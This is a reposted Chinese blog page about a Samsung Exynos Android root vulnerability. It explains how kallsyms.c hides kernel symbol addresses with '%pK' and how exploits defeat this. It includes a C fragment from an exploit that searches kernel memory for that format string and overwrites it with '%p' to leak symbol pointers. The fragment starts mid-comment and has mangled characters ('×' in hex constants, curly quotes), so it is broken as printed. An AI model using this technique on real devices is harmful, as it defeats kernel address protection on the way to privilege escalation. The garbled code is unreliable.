针对三星Exynos CPU Root漏洞

因为系统为了保护这些符号地址泄露,而用的一种保护手段,从而使除root用户外的普通用户不能直接查看符号地址;

原因在于内核文件kallsyms.c中的显示符号地址命令中做了如下限制:

 

  • seq_printf(m, "%pK %c %s\n", (void *)iter->value,
  •                            iter->type, iter->name);

 

只需要把其中的%pK换成%p就可以让普通用户查看符号地址了;很多提权漏洞一般会用到此处的修改来获取符号地址。

源代码:https://android.googlesource.com/kernel/exynos/+/android-exynos-3.4/kernel/kallsyms.c

 search the format string “%pK %c %s\n” in memory
* and replace “%pK” by “%p” to force display kernel
* symbols pointer
*/
for(m = 0; m < length; m += 4) { if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0×25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) { printf(“[*] s_show->seq_printf format string found at: 0x%08X\n”, PAGE_OFFSET + m);
restore_ptr_fmt = tmp;
*(unsigned long*)tmp = 0×20207025;
found = true;
break;
}
tmp++;
}

http://code.woboq.org/linux/linux/kernel/kallsyms.c.html#545

转载于:https://www.cnblogs.com/bittorrent/p/3804109.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值